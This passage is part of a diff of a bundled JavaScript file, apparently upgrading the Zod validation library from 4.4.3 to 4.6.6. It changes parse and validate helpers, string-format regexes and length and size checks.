(schema, value, _ctx) => { if (result instanceof Promise) { throw new $ZodAsyncError(); } - return result.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result = schema._zod.run({ value, issues: [] }, ctx); if (result instanceof Promise) result = await result; - return result.issues.length ? { - success: false, - error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result = fallbackRun({ value, issues: [] }, ctx); + } else { + result = schema._zod.run({ value, issues: [] }, ctx); + } + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode2 = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode2 = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -56246,9 +56634,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint, @@ -56256,8 +56645,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date, datetime: () => datetime, domain: () => domain, @@ -56271,6 +56662,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer, ipv4: () => ipv4, @@ -56282,6 +56674,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -56311,10 +56704,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -56326,13 +56722,13 @@ var uuid = (version3) => { var uuid4 = /* @__PURE__ */ uuid(4); var uuid6 = /* @__PURE__ */ uuid(6); var uuid7 = /* @__PURE__ */ uuid(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -56343,33 +56739,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -56405,13 +56806,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -56420,22 +56829,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56448,22 +56847,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -56475,14 +56864,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -56501,32 +56889,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56537,7 +56917,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -56550,10 +56930,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56561,10 +56941,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56577,18 +56957,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -56596,10 +56970,10 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -56612,26 +56986,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56640,26 +57006,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56668,24 +57026,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 === def.size) return; const tooBig = size2 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -56698,27 +57047,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56727,27 +57069,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -56756,22 +57091,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -56787,14 +57114,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -56842,13 +57161,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -56867,11 +57181,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -56890,11 +57199,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -56928,12 +57232,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result instanceof Promise) { + proms ?? (proms = []); + proms.push(result.then((result2) => handleCheckPropertyResult(result2, payload, key))); + } else { + handleCheckPropertyResult(result, payload, key); + } + } + if (proms) + 